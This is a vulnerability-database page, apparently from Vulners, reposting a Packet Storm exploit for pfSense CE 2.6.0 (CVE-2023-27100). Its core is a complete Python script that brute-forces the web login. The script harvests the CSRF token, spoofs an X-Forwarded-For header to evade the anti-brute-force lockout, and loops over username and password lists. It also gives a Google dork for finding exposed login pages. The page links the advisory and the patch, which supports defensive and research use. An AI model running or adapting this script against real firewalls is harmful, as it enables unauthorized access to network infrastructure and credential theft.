Lucene search
K

pfsenseCE 2.6.0 Protection Bypass

🗓️ 10 Apr 2023 00:00:00Reported by FabDotNETType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 284 Views

pfsenseCE v2.6.0 - Anti-brute force protection bypass CVE-2023-2710

Related
Code
ReporterTitlePublishedViews
Family
0day.today
pfsenseCE v2.6.0 - Anti-brute force protection bypass Exploit
10 Apr 202300:00
zdt
Circl
CVE-2023-27100
23 Mar 202301:36
circl
CNNVD
pfSense 安全漏洞
22 Mar 202300:00
cnnvd
CVE
CVE-2023-27100
22 Mar 202300:00
cve
Cvelist
CVE-2023-27100
22 Mar 202300:00
cvelist
Exploit DB
pfsenseCE v2.6.0 - Anti-brute force protection bypass
8 Apr 202300:00
exploitdb
EUVD
EUVD-2023-30884
3 Oct 202520:07
euvd
GithubExploit
Exploit for Improper Restriction of Excessive Authentication Attempts in Netgate Pfsense_Plus
20 May 202413:35
githubexploit
GithubExploit
Exploit for Improper Restriction of Excessive Authentication Attempts in Netgate Pfsense_Plus
7 Apr 202307:38
githubexploit
NVD
CVE-2023-27100
22 Mar 202323:15
nvd
Rows per page
`#!/usr/bin/python3  
  
## Exploit Title: pfsenseCE v2.6.0 - Anti-brute force protection bypass  
## Google Dork: intitle:"pfSense - Login"  
## Date: 2023-04-07  
## Exploit Author: FabDotNET (Fabien MAISONNETTE)  
## Vendor Homepage: https://www.pfsense.org/  
## Software Link: https://atxfiles.netgate.com/mirror/downloads/pfSense-CE-2.6.0-RELEASE-amd64.iso.gz  
## Version: pfSenseCE <= 2.6.0  
## CVE: CVE-2023-27100  
  
# Vulnerability  
## CVE: CVE-2023-27100  
## CVE URL: https://nvd.nist.gov/vuln/detail/CVE-2023-27100  
## Security Advisory: https://docs.netgate.com/downloads/pfSense-SA-23_05.sshguard.asc  
## Patch: https://redmine.pfsense.org/projects/pfsense/repository/1/revisions/9633ec324eada0b870962d3682d264be577edc66  
  
import requests  
import sys  
import re  
import argparse  
import textwrap  
from urllib3.exceptions import InsecureRequestWarning  
  
# Expected Arguments  
parser = argparse.ArgumentParser(description="pfsenseCE <= 2.6.0 Anti-brute force protection bypass",  
formatter_class=argparse.RawTextHelpFormatter,  
epilog=textwrap.dedent('''   
Exploit Usage :   
./CVE-2023-27100.py -l http://<pfSense>/ -u user.txt -p pass.txt  
./CVE-2023-27100.py -l http://<pfSense>/ -u /Directory/user.txt -p /Directory/pass.txt'''))  
  
parser.add_argument("-l", "--url", help="pfSense WebServer (Example: http://127.0.0.1/)")  
parser.add_argument("-u", "--usersList", help="Username Dictionary")  
parser.add_argument("-p", "--passwdList", help="Password Dictionary")  
args = parser.parse_args()  
  
if len(sys.argv) < 2:  
print(f"Exploit Usage: ./CVE-2023-27100.py -h [help] -l [url] -u [user.txt] -p [pass.txt]")  
sys.exit(1)  
  
# Variable  
url = args.url  
usersList = args.usersList  
passwdList = args.passwdList  
  
# Suppress only the single warning from urllib3 needed.  
if url.upper().startswith("HTTPS://"):  
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)  
  
print('pfsenseCE <= 2.6.0 Anti-brute force protection bypass')  
  
  
def login(userlogin, userpasswd):  
session = requests.session()  
r = session.get(url, verify=False)  
  
# Getting CSRF token value  
csrftoken = re.search(r'input type=\'hidden\' name=\'__csrf_magic\' value="(.*?)"', r.text)  
csrftoken = csrftoken.group(1)  
  
# Specifying Headers Value  
headerscontent = {  
'User-Agent': 'Mozilla/5.0',  
'Referer': f"{url}",  
'X-Forwarded-For': '42.42.42.42'  
}  
  
# POST REQ data  
postreqcontent = {  
'__csrf_magic': f"{csrftoken}",  
'usernamefld': f"{userlogin}",  
'passwordfld': f"{userpasswd}",  
'login': 'Sign+In'  
}  
  
# Sending POST REQ  
r = session.post(url, data=postreqcontent, headers=headerscontent, allow_redirects=False, verify=False)  
  
# Conditional loops  
if r.status_code != 200:  
print(f'[*] - Found Valid Credential !!')  
print(f"[*] - Use this Credential -> {userlogin}:{userpasswd}")  
sys.exit(0)  
  
  
# Reading User.txt & Pass.txt files  
userfile = open(usersList).readlines()  
passfile = open(passwdList).readlines()  
  
for user in userfile:  
user = user.strip()  
for passwd in passfile:  
passwd = passwd.strip()  
login(user, passwd)  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Apr 2023 00:00Current
9.4High risk
Vulners AI Score9.4
CVSS 3.19.8
EPSS0.03048
SSVC
284